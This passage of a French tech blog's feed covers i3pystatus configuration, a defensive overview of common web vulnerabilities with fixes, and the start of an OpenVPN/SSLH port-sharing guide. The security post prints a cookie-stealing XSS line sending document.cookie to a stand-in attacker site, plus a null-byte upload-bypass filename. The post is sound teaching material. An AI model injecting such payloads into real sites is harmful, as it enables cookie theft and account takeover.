<p>Par d&#xE9;faut i3pystatus v&#xE9;rifie que vous ayez une connexion internet avant de faire des requ&#xEA;tes (par exemple pour la m&#xE9;t&#xE9;o) en envoyant une requ&#xEA;te DNS chez Google. C&apos;est pas glop et &#xE7;a peut ne pas fonctionner derri&#xE8;re un firewall d&apos;entreprise par exemple. La bonne nouvelle c&apos;est que vous pouvez le changer :</p>
<pre><code class="python">status = Status(standalone=True, internet_check=(&apos;mondomaine.tld&apos;, 80))</code></pre>
<h3 id="dateetheure">Date et heure</h3>
<pre><code class="python">status.register(&quot;clock&quot;,
    format=&quot;%a %-d %b %X KW%V&quot;,)</code></pre>
<h3 id="mto">M&#xE9;t&#xE9;o</h3>
<p>Vous pouvez trouver votre <code>location_code</code> sur le site <a href="http://www.weather.com/?ref=blog.cpy.re">http://www.weather.com/</a>.</p>
<pre><code class="python">from i3pystatus.weather import weathercom
status.register(
    &apos;weather&apos;,
    format=&apos;{current_temp}{temp_unit}{icon} {humidity}%&apos;,
    colorize=True,
    backend=weathercom.Weathercom(
        location_code=&apos;42000:4:FR&apos;,
    ),
)</code></pre>
<h3 id="mmoireram">M&#xE9;moire RAM</h3>
<pre><code class="python">status.register(&quot;mem&quot;,
    log_level=10,
    format=&quot;Mem: {percent_used_mem}%&quot;,)</code></pre>
<h3 id="cpu">CPU</h3>
<p>Pour le pourcentage d&apos;usage courant :</p>
<pre><code class="python">status.register(&quot;cpu_usage&quot;)</code></pre>
<p>Pour avoir un graphe (en UTF-8 :) ) :</p>
<pre><code class="python">status.register(&quot;cpu_usage_graph&quot;,
    graph_style=&quot;blocks&quot;,
    format=&quot;{cpu_graph}&quot;)</code></pre>
<p>Et enfin sa fr&#xE9;quence :</p>
<pre><code class="python">status.register(&quot;cpu_freq&quot;,
    format=&quot;{avgg}Ghz)&quot;,)</code></pre>
<h3 id="temprature">Temp&#xE9;rature</h3>
<pre><code class="python">status.register(&quot;temp&quot;,
    format=&quot;{temp:.0f}&#xB0;C&quot;,)</code></pre>
<h3 id="disque">Disque</h3>
<p>Si vous avez plusieurs disques vous pouvez choisir le point de montage. Par exemple pour un SSD et un disque dur :</p>
<pre><code class="python">status.register(&quot;disk&quot;,
    path=&quot;/home&quot;,
    critical_limit=10,
    interval=600,
    format=&quot;SSD {avail}G Av.&quot;,)</code></pre>
<pre><code class="python">status.register(&quot;disk&quot;,
    critical_limit=100,
    path=&quot;/mnt/storage&quot;,
    interval=600,
    format=&quot;HDD {avail}G Av.&quot;,)</code></pre>
<h3 id="rseau">R&#xE9;seau</h3>
<p>Les kb/s en direct avec le graphe associ&#xE9; :</p>
<pre><code class="python">status.register(&quot;network&quot;,
    interface=&quot;wlan0&quot;,
    interval=1,
    graph_style=&quot;blocks&quot;,
    format_up=&quot;{network_graph} {packets_recv:04}kbs/{packets_sent:04}kbs&quot;,)</code></pre>
<p>Le SSID sur lequel vous &#xEA;tes connect&#xE9; avec la qualit&#xE9; de connexion :</p>
<pre><code class="python">status.register(&quot;network&quot;,
    interface=&quot;wlan0&quot;,
    interval=60,
    format_up=&quot;{essid} {quality:03.0f}%&quot;,)</code></pre>
<h3 id="vpn">VPN</h3>
<p>Si vous avez OpenVPN, vous pouvez voir si il est actif ou non :</p>
<pre><code class="python">status.register(&quot;openvpn&quot;,
    format=&quot;VPN {status}&quot;,
    vpn_name=&quot;client&quot;)</code></pre>
<h3 id="batterie">Batterie</h3>
<p>Pour voir le pourcentage de batterie qu&apos;il nous reste :</p>
<pre><code class="python">status.register(&quot;battery&quot;,
    format=&quot;{status}/{consumption:.2f}W {percentage:.2f}% [{percentage_design:.2f}%] {remaining:%E%hh:%Mm}&quot;,
    alert=True,
    alert_percentage=5,
    status={
        &quot;DIS&quot;: &quot;&#x2193;&quot;,
        &quot;CHR&quot;: &quot;&#x2191;&quot;,
        &quot;FULL&quot;: &quot;=&quot;,
    },)</code></pre>
<p>Et faire une approximation du temps qu&apos;il nous reste :</p>
<pre><code class="python">status.register(&quot;battery&quot;,
    format=&quot;{status} {remaining:%E%hh:%Mm}&quot;,
    alert=True,
    alert_percentage=5,
    status={
        &quot;DIS&quot;:  &quot;Discharging&quot;,
        &quot;CHR&quot;:  &quot;Charging&quot;,
        &quot;FULL&quot;: &quot;Bat full&quot;,
    },)</code></pre>
<h3 id="volumeson">Volume son</h3>
<p>Par exemple si vous utilisez PulseAudio :</p>
<pre><code class="python">status.register(&quot;pulseaudio&quot;,
    format=&quot;&#x266A;{volume}&quot;,)</code></pre>
<h3 id="email">Email</h3>
<p>Il est possible de conna&#xEE;tre les emails re&#xE7;us selon diff&#xE9;rentes sources (imap, thunderbird...) : <a href="http://docs.enkore.de/i3pystatus/i3pystatus.html?ref=blog.cpy.re#mail-backends">http://docs.enkore.de/i3pystatus/i3pystatus.html#mail-backends</a></p>
<pre><code class="python">from i3pystatus.mail import thunderbird
status.register(&quot;mail&quot;,
    backends=[
        thunderbird.Thunderbird()
    ],
    email_client=&apos;i3-msg -q [class=&quot;^Thunderbird$&quot;] focus&apos;,)</code></pre>
<p>Pour Thundebird vous aurez besoin d&apos;une extension notifiant DBus lors de l&apos;arriv&#xE9;e de nouveaux emails.</p>
<h3 id="nowplaying">Now playing</h3>
<p>Simplement :</p>
<pre><code class="python">status.register(&quot;now_playing&quot;)</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>i3 m&apos;a permis d&apos;exploiter intelligemment l&apos;espace disponible sur mon &#xE9;cran, de minimiser l&apos;utilisation de la souris et est beaucoup plus l&#xE9;ger que les environnements de bureau (on y gagne en performance, autonomie...).<br>
Il ne vient avec aucun outil ce qui peut &#xEA;tre un avantage pour certain ou un inconv&#xE9;nient pour d&apos;autres.<br>
Je n&apos;ai pas utilis&#xE9; d&apos;autres tiling managers, mais j&apos;appr&#xE9;cie beaucoup i3 qui est relativement facile &#xE0; prendre en main, poss&#xE8;de une documentation compl&#xE8;te et accessible ainsi qu&apos;une configuration simple &#xE0; modifier.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Failles de sécurité à éviter lorsque l'on crée son application web]]></title><description><![CDATA[Tour d'horizon des principales failles de sécurité lorsque l'on code son application web (PHP...)]]></description><link>https://blog.cpy.re/faille-de-securite-web/</link><guid isPermaLink="false">5979ed043099c73f2bf82121</guid><category><![CDATA[Sécurité]]></category><category><![CDATA[web]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Tue, 03 May 2016 16:45:04 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Cet article va essayer de passer en revue les principales failles lorsqu&apos;on d&#xE9;veloppe une application web. Il est principalement orient&#xE9; langages script&#xE9;s (notamment PHP) mais reprend des concepts qui sont relativement globaux aux diff&#xE9;rents langages.</p>
<p>Il n&apos;a pas pour but d&apos;&#xEA;tre exhaustif, mais n&apos;h&#xE9;sitez pas si vous voulez compl&#xE9;ter :)</p>
<h2 id="lesmotsdepasse">Les mots de passe</h2>
<p>On commence doucement mais &#xE7;a reste une notion quand m&#xEA;me tr&#xE8;s importante (demandez &#xE0; TV5Monde). Il est important de mettre un mot de passe contenant des lettres, chiffres <strong>ET</strong> caract&#xE8;res sp&#xE9;ciaux. Surtout si vous ne limitez pas le nombre d&apos;essais possibles pour rentrer le mot de passe, tant les scripts d&apos;attaques par force brute sont facile &#xE0; cr&#xE9;er.</p>
<p><strong>EDIT:</strong> <a href="http://www.blog-libre.org/author/augier/?ref=blog.cpy.re">@Augier</a> m&apos;a fait remarquer qu&apos;utiliser une passephrase ne contenant que des lettres &#xE9;tait beaucoup plus efficace qu&apos;un mot de passe avec des caract&#xE8;res sp&#xE9;ciaux. En effet, le mot de passe avec caract&#xE8;res sp&#xE9;ciaux est plus difficile &#xE0; retenir et donc on a tendance &#xE0; utiliser le m&#xEA;me sur tous les sites internet. De plus une passephrase pourra avoir une longueur importante tout en &#xE9;tant facile &#xE0; m&#xE9;moriser. Attention tout de m&#xEA;me &#xE0; ne pas faire une simple association de mots du dictionnaire, ce qui rendrait l&apos;attaque par brute force plus facile.</p>
<h2 id="scurisezvotreserveurweb">S&#xE9;curisez votre serveur web</h2>
<p>Le probl&#xE8;me des scripts web de base sans gestion des routes, c&apos;est que g&#xE9;n&#xE9;ralement on les couple &#xE0; un serveur web qui renvoie n&apos;importe quel fichier consid&#xE9;r&#xE9; comme statique (image, vid&#xE9;o, musique...).<br>
Maintenant prenons un exemple tout b&#xEA;te : vous modifiez rapidement un fichier PHP avec Gedit. Au cas ou vous ne le sauriez pas, celui-ci cr&#xE9;e automatiquement un fichier de sauvegarde : <em>fichier.php~</em>. Si votre serveur web n&apos;a pas une politique de s&#xE9;curit&#xE9; suffisante, il renverra le fichier en <em>plain/text</em> &#xE0; quiconque ira sur <em><a href="http://votresite.com/fichier.php~?ref=blog.cpy.re">http://votresite.com/fichier.php~</a></em>.</p>
<p>Aussi, il vaut mieux interdire &#xE0; votre serveur web  de lister le contenu de vos dossiers (index) afin d&apos;&#xE9;viter &#xE0; n&apos;importe qui de faire une petite visite de votre arborescence.</p>
<p>Derni&#xE8;re chose n&apos;utilisez pas la balise <em><limit></limit></em> d&apos;Apache pour restreindre l&apos;acc&#xE8;s &#xE0; vos fichier, il est possible de le contourner (si vous voulez en savoir plus : <a href="http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/?ref=blog.cpy.re">http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/</a>).</p>
<p>Je vous conseille simplement d&apos;&#xE9;tudier les diff&#xE9;rentes politiques de s&#xE9;curit&#xE9; de votre serveur web, &#xE7;a peut sauver votre site internet (et peut-&#xEA;tre m&#xEA;me des b&#xE9;b&#xE9;s panda).</p>
<h2 id="fichiersdinstallationscms">Fichiers d&apos;installations CMS</h2>
<p>Si vous avez un serveur d&#xE9;di&#xE9;/VPS et que vous analysez un peu vos logs, vous savez que des robots testent r&#xE9;guli&#xE8;rement les URL des fichiers d&apos;installation des CMS les plus connus (Wordpress, Joomla...). Pensez donc bien &#xE0; les prot&#xE9;ger/supprimer si votre CMS ne s&apos;en occupe pas d&#xE9;j&#xE0;.</p>
<h2 id="lescookies">Les cookies</h2>
<p>Les cookies sont du c&#xF4;t&#xE9; utilisateur et peuvent de ce fait facilement &#xEA;tre trafiqu&#xE9;s par ce dernier. V&#xE9;rifiez donc &#xE0; chaque fois les informations envoy&#xE9;es !</p>
<h2 id="faillesxss">Failles XSS</h2>
<p>Ce type de faille permet de faire ex&#xE9;cuter un script au client. Exemple tout b&#xEA;te : un utilisateur poste un billet contenant <code>&lt;script&gt;alert(&apos;coucou&apos;)&lt;/script&gt;</code>. Si vous ne s&#xE9;curisez pas l&apos;affichage, alors chaque utilisateur qui chargera la page du billet aura une popup qui s&apos;affichera. Dans le cas un peu plus emb&#xEA;tant, on vous fera ex&#xE9;cuter ce genre de code : <code>&lt;script&gt;window.open(&quot;http://sitedumechant.com/Cookie=&quot;+document.cookie)&lt;/script&gt;</code>. L&apos;attaquant n&apos;aura plus qu&apos;&#xE0; regarder les logs de son serveur, et bingo pourra voler vos cookies et donc utiliser votre compte.</p>
<p>Pour &#xE9;viter ce genre de choses, &#xE9;chappez les donn&#xE9;es utilisateur que vous voulez afficher avec les fonctions mises &#xE0; disposition par votre langage/module (<code>htmlspecialchars</code> etc).</p>
<h2 id="registerglobalsphp">Register globals (PHP)</h2>
<p>Cette option est &#xE0; &quot;faux&quot; par d&#xE9;faut depuis quelques temps, et heureusement ! En gros &#xE7;a permet de pouvoir acc&#xE9;der &#xE0; vos variables <code>$_GET[&apos;username&apos;]</code> par simplement <code>$username</code>. &#xC7;a &#xE9;conomise des caract&#xE8;res pour le d&#xE9;veloppeur, sauf que du coup n&apos;importe qui peut injecter des variables &#xE0; vos scripts PHP en modifiant l&apos;URL. Et &#xE7;a c&apos;est suicidaire.</p>
<h2 id="crosssiterequestforgery">Cross-Site Request Forgery</h2>
<p>Ou autrement appel&#xE9;e CSRF, c&apos;est assez b&#xEA;te. Imaginez que vous sachiez que pour supprimer un post sur un forum un utilisateur ayant les droits appropri&#xE9;s (mod&#xE9;rateur, admin...) doit aller sur l&apos;url <em>/forum/post/11/delete</em>. Il suffit &#xE0; un autre utilisateur de lui envoyer ce lien camoufl&#xE9; en lui disant &quot;tiens regarde ce magnifique chaton&quot; et voil&#xE0; il a r&#xE9;ussi &#xE0; vous faire supprimer un post.<br>
Les principales solutions pour &#xE9;viter ce genre de pi&#xE8;ge :</p>
<ul>
<li>Ajouter des messages de confirmation pour certaines actions critiques</li>
<li>Utiliser des requ&#xEA;tes POST</li>
<li>V&#xE9;rifier que le referer de la requ&#xEA;te provient bien de votre propre site web</li>
<li>Se d&#xE9;connecter une fois que les actions n&#xE9;cessitant des privil&#xE8;ges sont termin&#xE9;es</li>
<li>Ne pas charger automatiquement des images d&apos;exp&#xE9;diteurs non v&#xE9;rifi&#xE9;es par mail ou cliquer sur n&apos;importe quel lien qu&apos;on vous balance</li>
</ul>
<h2 id="redirectionnoncontrle">Redirection non contr&#xF4;l&#xE9;e</h2>
<p>Lorsque vous faites une redirection dans votre script web, prenez bien en compte le fait que le reste du script est ex&#xE9;cut&#xE9; et donc que le client peut r&#xE9;cup&#xE9;rer les informations potentiellement &#xE9;crites apr&#xE8;s la ligne de redirection.<br>
Prenons un exemple en PHP. On choisit de v&#xE9;rifier les valeurs envoy&#xE9;es par param&#xE8;tre via la page <em>admin.php</em> puis, si elles sont incorrectes on redirige l&apos;utilisateur avec un 302 via l&apos;instruction <code>header(&apos;location : ...&apos;)</code>. Sauf que si vous ne faites pas un <code>exit</code> juste apr&#xE8;s, les donn&#xE9;es qui suivent (par exemple le menu d&apos;administration de votre site) peuvent parfaitement &#xEA;tre lues par le client.</p>
<h2 id="lafaillecrlf">La faille CRLF</h2>
<p>CRLF pour CR et LF qui sont des abr&#xE9;viations de Carriage Return (retour &#xE0; la ligne) et Line Feed (fin de ligne) que l&apos;on peut coder en hexad&#xE9;cimal par %0d et %0a.<br>
Un attaquant peut alors s&apos;en servir pour cr&#xE9;er des retours &#xE0; la ligne ! Bon d&apos;accord &#xE7;a parait pas folichon aux premiers abords. Mais imaginez que vous recopiez les donn&#xE9;es rentr&#xE9;es par le client dans un fichier. Ce dernier peut alors y &#xE9;crire un peu ce qu&apos;il veut.<br>
Il peut tout aussi bien g&#xE9;n&#xE9;rer des headers (et donc potentiellement du contenu) simplement via une URL. Je vous laisse regarder ici si vous voulez en savoir plus : <a href="http://www.acunetix.com/websitesecurity/crlf-injection/?ref=blog.cpy.re">http://www.acunetix.com/websitesecurity/crlf-injection/</a>.</p>
<h2 id="uploaddefichiers">Upload de fichiers</h2>
<p>G&#xE9;n&#xE9;ralement votre serveur web est configur&#xE9; pour ex&#xE9;cuter vos fichiers avec une certaine extension (par exemple les .php).<br>
Maintenant partons du principe que vous donnez la possibilit&#xE9; &#xE0; l&apos;utilisateur d&apos;avoir un avatar. Si vous ne faites aucune v&#xE9;rification sur l&apos;image upload&#xE9;e et que vous ne g&#xE9;n&#xE9;rez pas votre propre URL alors l&apos;attaquant peut tranquillement envoyer un fichier PHP puis aller sur l&apos;URL du script. Le serveur l&apos;ex&#xE9;cutera alors automatiquement.</p>
<p>Comment &#xE9;viter ce genre d&apos;attaque ?</p>
<p>La v&#xE9;rification du Mime Type n&apos;est pas suffisante car on peut facilement le trafiquer en alt&#xE9;rant les donn&#xE9;es de la requ&#xEA;te POST.<br>
Il faut faire une v&#xE9;rification de la derni&#xE8;re extension directement dans le script (en faisant attention &#xE0; la faille nullbyte, voir apr&#xE8;s) et ne pas faire confiance &#xE0; Apache l&#xE0; dessus. En effet il consid&#xE8;re qu&apos;un fichier peut avoir des extensions inutiles (comme le .fr de index.html.fr). Et du coup peut consid&#xE9;rer un fichier <em>coucou.php.666</em> comme &#xE9;tant un fichier PHP, et donc l&apos;ex&#xE9;cuter. Une technique suppl&#xE9;mentaire est de s&#xE9;curiser le dossier d&apos;upload (interdire toute ex&#xE9;cution de scripts de ce dossier pr&#xE9;cis).</p>
<h2 id="localfailleinclusion">Local Faille Inclusion</h2>
<p>Lorsque vous faites des inclusions qui peuvent d&#xE9;pendre de param&#xE8;tres de l&apos;URL par exemple, encore une fois v&#xE9;rifiez toujours les donn&#xE9;es (r&#xE8;gle d&apos;or). Ceci particuli&#xE8;rement lorsque vous utilisez des fonctions permettant de lire/parcourir des dossiers. Si vous ne v&#xE9;rifiez pas les donn&#xE9;es, n&apos;importe qui en trafiquant les param&#xE8;tres pourrait potentiellement lister n&apos;importe lequel de vos dossiers et ensuite lire n&apos;importe quel fichier (dont celui comprenant vos identifiants de connexion par exemple).</p>
<p>Si vous utilisez des sortes de <code>include</code> ou <code>require</code>, il est quand m&#xEA;me possible &#xE0; un vilain de lire vos fichiers inclus, alors m&#xEA;me qu&apos;ils sont cens&#xE9;s &#xEA;tre interpr&#xE9;t&#xE9;s en PHP.<br>
En effet, il est possible en PHP d&apos;utiliser des <a href="http://php.net/manual/en/wrappers.php.php?ref=blog.cpy.re">filtres de stream</a>. Imaginez donc que vous fassiez sans v&#xE9;rifications un <code>include($_GET[&apos;include&apos;])</code>. Ce param&#xE8;tre &#xE9;tant r&#xE9;cup&#xE9;r&#xE9; via l&apos;URL, si l&apos;attaquant sp&#xE9;cifie un autre fichier votre script va l&apos;inclure. Vous vous dites qu&apos;au pire &#xE7;a causera simplement des erreurs (fichiers inexistant, pas un fichier PHP etc). Par contre coupl&#xE9; a un wrapper genre <em>encode</em> &#xE7;a peut tout simplement sortir le contenu du fichier PHP en <em>base64</em>. Vous avez ensuite qu&apos;&#xE0; d&#xE9;coder, et f&#xE9;licitations vous pouvez lire le contenu du fichier PHP contenant les identifiants &#xE0; la BDD. <a href="http://www.leblogduhacker.fr/la-faille-lfi-local-file-inclusion/?ref=blog.cpy.re">Voici un article sympa en fran&#xE7;ais si vous souhaitez en apprendre un peu plus sur le sujet</a>.</p>
<h2 id="nullbytepoisoning">Null Byte Poisoning</h2>
<p>Le PHP utilise des fonctions C notamment dans la gestion des fichiers. Or en C, la fin d&apos;une cha&#xEE;ne de caract&#xE8;re est sp&#xE9;cifi&#xE9;e par le caract&#xE8;re &apos;\0&apos;. Du coup certaines fonctions vont consid&#xE9;rer ces cha&#xEE;nes jusqu&apos;&#xE0; la premi&#xE8;re occurrence d&apos;un octet nul.</p>
<p>Reprenons notre exemple du formulaire qui ne souhaite que des fichiers aux formats <em>jpeg</em>/<em>jpg</em>, <em>png</em> et <em>gif</em>.<br>
Pour rappel, le caract&#xE8;re nul est cod&#xE9; en hexad&#xE9;cimal par... %00. Si le script serveur fait une v&#xE9;rification sur le nom du fichier et que vous envoyez <em>fichier.php.%00.png</em> autant vous dire que &#xE7;a a des chances de passer comme une lettre &#xE0; la poste selon les fonctions que vous utilisez.</p>
<p>La faille est surtout exploitable via les fonctions <code>include</code>, <code>require</code> et compagnie en PHP. Faites donc bien toujours des v&#xE9;rifications sur les fichiers que vous voulez inclure.</p>
<h2 id="injectionssqlldapxpath">Injections SQL/LDAP/XPath</h2>
<p>Je ne vais pas rentrer dans les d&#xE9;tails car il faudrait &#xE0; mon avis un article entier pour l&apos;expliquer. Et surtout d&apos;autres sites proposent de tr&#xE8;s bonnes explications. En gros, cette faille se manifeste quand vous construisez et ex&#xE9;cutez des requ&#xEA;tes (SQL ou LDAP par exemple) en incluant des donn&#xE9;es non v&#xE9;rifi&#xE9;es de l&apos;utilisateur. Cela lui permet alors de bidouiller et donc r&#xE9;&#xE9;crire la requ&#xEA;te un peu comme il veut.<br>
La mesure la plus simple et la plus efficace est d&apos;utiliser des requ&#xEA;tes pr&#xE9;par&#xE9;es. Cette derni&#xE8;re est ainsi compil&#xE9;e, puis vous injectez ensuite les donn&#xE9;es de l&apos;utilisateur. Faites simplement attention de ne pas injecter des donn&#xE9;es &#xE0; la pr&#xE9;paration de la requ&#xEA;te, sinon &#xE7;a perd tout son sens.</p>
<h1 id="conclusion">Conclusion</h1>
<p>J&apos;ai pr&#xE9;sent&#xE9; grossi&#xE8;rement la plupart des failles les plus connues. Libre &#xE0; vous de vous documenter un peu plus ;)</p>
<p>Si le sujet vous int&#xE9;resse je vous conseille l&apos;excellent <a href="http://www.root-me.org/?ref=blog.cpy.re">http://www.root-me.org/</a> qui propose des challenges de s&#xE9;curit&#xE9; sur des sujets divers et vari&#xE9;s.<br>
Vous pouvez aussi jeter un coup d&apos;oeil &#xE0; <a href="https://www.owasp.org/index.php/Main_Page?ref=blog.cpy.re">https://www.owasp.org/index.php/Main_Page</a> qui est une organisation &#xE0; but non lucratif ayant pour but d&apos;am&#xE9;liorer la s&#xE9;curit&#xE9; des applications. Ils produisent notamment un document &quot;Top 10&quot; des failles les plus critiques pour les applications web. Par exemple pour <a href="https://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf?ref=blog.cpy.re">2013</a>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Faire cohabiter OpenVPN et HTTPS sur le port 443 en IPV4 et IPV6 avec SSLH]]></title><description><![CDATA[Partager le port 443 entre un OpenVPN et un serveur Web en HTTPS (via SSL/TLS) avec SSLH compatible IPV6 tout en gardant l'IP d'origine en mode transparent]]></description><link>https://blog.cpy.re/faire-cohabiter-openvpn-et-https-sur-le-port-443-en-ipv4-et-ipv6/</link><guid isPermaLink="false">5979ed043099c73f2bf82127</guid><category><![CDATA[openvpn]]></category><category><![CDATA[sysadmin]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Sun, 13 Mar 2016 07:50:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Il se peut que vous vouliez vous monter un VPN sur votre serveur. Le principal soucis c&apos;est que dans certains r&#xE9;seaux (entreprises, &#xE9;coles...) quasi tous les ports sont ferm&#xE9;s &#xE0; l&apos;exceptions des ports web (80/443). Vous d&#xE9;cidez donc de mettre votre VPN en &#xE9;coute sur le port 443 et tout fonctionne parfaitement.</p>
<p>Puis un jour vous voulez ajouter TLS &#xE0; votre site internet. Et l&#xE0; c&apos;est le drame. Dilemme (lemme) : vous gardez le VPN ou la s&#xE9;curit&#xE9; de votre site ? Que nenni mon bon monsieur, il est tout &#xE0; fait possible de garder les deux !</p>
<h2 id="premiresolutionportsharedopenvpn">Premi&#xE8;re solution : port-share d&apos;OpenVPN</h2>
<p>OpenVPN sait diff&#xE9;rencier les paquets qui lui sont destin&#xE9;s, et les autres. Il peut donc faire office de proxy et rerouter les paquets sur un autre port.</p>
<p>C&apos;est ce que permet la directive port-share :</p>
<pre><code class="nohighlight">port-share 127.0.0.1 1443</code></pre>
<p>De ce fait si vous avez un serveur web qui &#xE9;coute en HTTPS sur le port 1443, un visiteur se connectant sur votre site internet en HTTPS (donc sur le port 443) y acc&#xE9;dera sans se rendre compte que le trafic est pass&#xE9; par OpenVPN.</p>
<p>De l&apos;autre c&#xF4;t&#xE9;, si un utilisateur de votre VPN se connecte &#xE0; votre serveur alors OpenVPN saura que ces paquets lui sont destin&#xE9;s et ne les transmettra donc pas &#xE0; votre serveur web. Vous partagez donc un port pour deux services diff&#xE9;rents. Elle est pas belle la vie ? :)</p>
<h3 id="toutnestpasrose">Tout n&apos;est pas rose</h3>
<p>En effet, il y a plusieurs d&#xE9;fauts &#xE0; cette directive. La principale c&apos;est que si votre OpenVPN plante alors votre serveur web n&apos;est plus accessible via HTTPS. Autant dire que vous n&apos;avez pas int&#xE9;r&#xEA;t &#xE0; changer votre configuration OpenVPN sans bien tester ensuite :)</p>
<p>La deuxi&#xE8;me est que vous n&apos;aurez plus l&apos;IP du visiteur dans les logs de votre serveur web. Vous aurez simplement &quot;127.0.0.1&quot;. En effet, vu que les paquets sont proxifi&#xE9;s par votre OpenVPN qui est sur le m&#xEA;me serveur ils poss&#xE8;dent maintenant votre IP locale. &#xC7;a peut g&#xEA;ner si vous &#xEA;tes habitu&#xE9; &#xE0; faire des stats sur vos visiteurs &#xE0; l&apos;aide de vos logs.</p>
<p>Enfin, je ne suis pas arriv&#xE9; &#xE0; faire fonctionner OpenVPN avec le <strong>port-share</strong> sur IPV6. Ce <a href="https://community.openvpn.net/openvpn/ticket/336?ref=blog.cpy.re">bug</a> est peut-&#xEA;tre li&#xE9; ?</p>
<h2 id="prsentationdesslh">Pr&#xE9;sentation de SSLH</h2>
<p>Pour rem&#xE9;dier &#xE0; chacun de ces soucis on peut utiliser un autre programme nous permettant de partager le port 443 entre notre OpenVPN et notre serveur Web (voire plus comme XMPP, SSH...) : <a href="https://github.com/yrutschle/sslh?ref=blog.cpy.re">SSLH</a>.</p>
<p>Il peut fonctionner avec IPV6 et proxifier les paquets de mani&#xE8;re transparente afin de garder l&apos;IP d&apos;origine de ces derniers. Enfin, si votre OpenVPN plante &#xE7;a n&apos;aura aucune incidence sur votre serveur web :)</p>
<p>Pour l&apos;installer sur une Debian :</p>
<pre><code class="nohighlight"># apt-get install sslh</code></pre>
<p>Vous avez le choix entre deux modes : le premier fonctionne dans un seul thread pour toutes les connexions ce qui ajoute peu d&apos;overhead notamment au niveau de l&apos;empreinte m&#xE9;moire et l&apos;autre cr&#xE9;e un processus pour chaque requ&#xEA;te. &#xC0; vous de voir <a href="https://github.com/yrutschle/sslh?ref=blog.cpy.re#binaries">quelle m&#xE9;thode vous convient le plus</a>.</p>
<h3 id="ipv4">IPV4</h3>
<p>La configuration se passe dans le fichier <em>/etc/default/sslh</em> :</p>
<pre><code class="nohighlight">RUN=yes
STARTTIME=2
DAEMON=/usr/sbin/sslh
DAEMON_OPTS=&quot;--transparent --timeout 5 --user sslh --listen xxx.xxx.xxx.xxx:443 --ssl xxx.xxx.xxx.xxx:1443 --openvpn xxx.xxx.xxx.xxx:2443 --pidfile /var/run/sslh/sslh.pid&quot;</code></pre>
<p>On ajoute l&apos;option <strong>--transparent</strong> qui nous permet de garder l&apos;adresse IP d&apos;origine, le port sur lequel on &#xE9;coute ainsi que des ports sur lesquels &#xE9;coutent OpenVPN et notre serveur Web en SSL. Attention, <strong>xxx.xxx.xxx.xxx</strong> doit &#xEA;tre remplac&#xE9; par votre vraie adresse IPV4 (et non 127.0.0.1) pour que le mode transparent fonctionne correctement.<br>
Il faut donc qu&apos;OpenVPN et que votre serveur Web &#xE9;coutent non pas sur le port 443 mais sur les ports que vous avez d&#xE9;finis dans ce fichier de configuration.</p>
<p>Il ne nous reste qu&apos;&#xE0; <a href="https://github.com/yrutschle/sslh?ref=blog.cpy.re#transparent-proxy-support">param&#xE9;trer notre pare-feu et notre nouvelle route</a> :</p>
<pre><code class="nohighlight"># iptables -t mangle -N SSLH
# iptables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 1443 --jump SSLH
# iptables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 2443 --jump SSLH
# iptables -t mangle -A SSLH --jump MARK --set-mark 0x1
# iptables -t mangle -A SSLH --jump ACCEPT
# ip rule add fwmark 0x1 lookup 100
# ip route add local 0.0.0.0/0 dev lo table 100</code></pre>
<p>Et enfin on lance notre service pour tester qu&apos;on peut bien acc&#xE9;der &#xE0; notre OpenVPN/serveur web en SSL via le port 443 :</p>
<pre><code class="nohighlight"># systemctl start sslh</code></pre>
<h3 id="ipv6">IPV6</h3>
<p>Vous pouvez sauter cette partie si vous voulez rester qu&apos;en IPV4.</p>
<p>Je n&apos;ai pas trouv&#xE9; moyen de faire fonctionner un seul d&#xE9;mon SSLH en mode transparent pour faire le boulot en IPV4 et en IPV6 en m&#xEA;me temps.</p>
<p>J&apos;ai donc cr&#xE9;&#xE9; un nouveau service sp&#xE9;cialement d&#xE9;di&#xE9; pour l&apos;IPV6 :</p>
<pre><code class="nohighlight"># cp /lib/systemd/system/sslh.service /etc/systemd/system/sslh-ipv6.service
# cp /etc/default/sslh /etc/default/sshl-ipv6</code></pre>
<p>Je sais que c&apos;est pas tip top (oui je suis un peu has been) mais je n&apos;ai pas trouv&#xE9; une mani&#xE8;re plus propre. Si vous avez des id&#xE9;es, n&apos;h&#xE9;sitez pas ;)</p>
<p>On modifie le service pour adapter le nom du fichier de configuration :</p>
<pre><code class="nohighlight">[Unit]
Description=SSL/SSH multiplexer
After=network.target

[Service]
EnvironmentFile=/etc/default/sslh-ipv6
ExecStart=/usr/sbin/sslh --foreground $DAEMON_OPTS
KillMode=process

[Install]
WantedBy=multi-user.target</code></pre>
<p>Il nous suffit donc maintenant de param&#xE9;trer <em>/etc/default/sslh-ipv6</em> :</p>
<pre><code class="nohighlight">RUN=yes
DAEMON=/usr/sbin/sslh
DAEMON_OPTS=&quot;--transparent --timeout 5 --user sslh --listen xxxx:xxxx:xxxx:xxxx::1:443 --ssl xxxx:xxxx:xxxx:xxxx::1:1443 --openvpn xxxx:xxxx:xxxx:xxxx::1:2443 --pidfile /var/run/sslh/sslh.pid&quot;</code></pre>
<p>Encore une fois il vous faut bien sp&#xE9;cifier votre adresse IPV6 compl&#xE8;te &#xE0; la place de xxxx:xxxx:xxxx:xxxx. Vos services OpenVPN et serveur web doivent bien entendu &#xE9;couter en IPV6 sur cette interface/port.</p>
<p>Comme en IPV4 on configure le pare-feu et les routes :</p>
<pre><code class="nohighlight"># ip6tables -t mangle -N SSLH
# ip6tables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 1443 --jump SSLH
# ip6tables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 2443 --jump SSLH
# ip6tables -t mangle -A SSLH --jump MARK --set-mark 0x1
# ip6tables -t mangle -A SSLH --jump ACCEPT
# ip -6 rule add fwmark 0x1 lookup 100
# ip -6 route add local ::/0 dev lo table 100</code></pre>
<p>On finit par lancer notre service :</p>
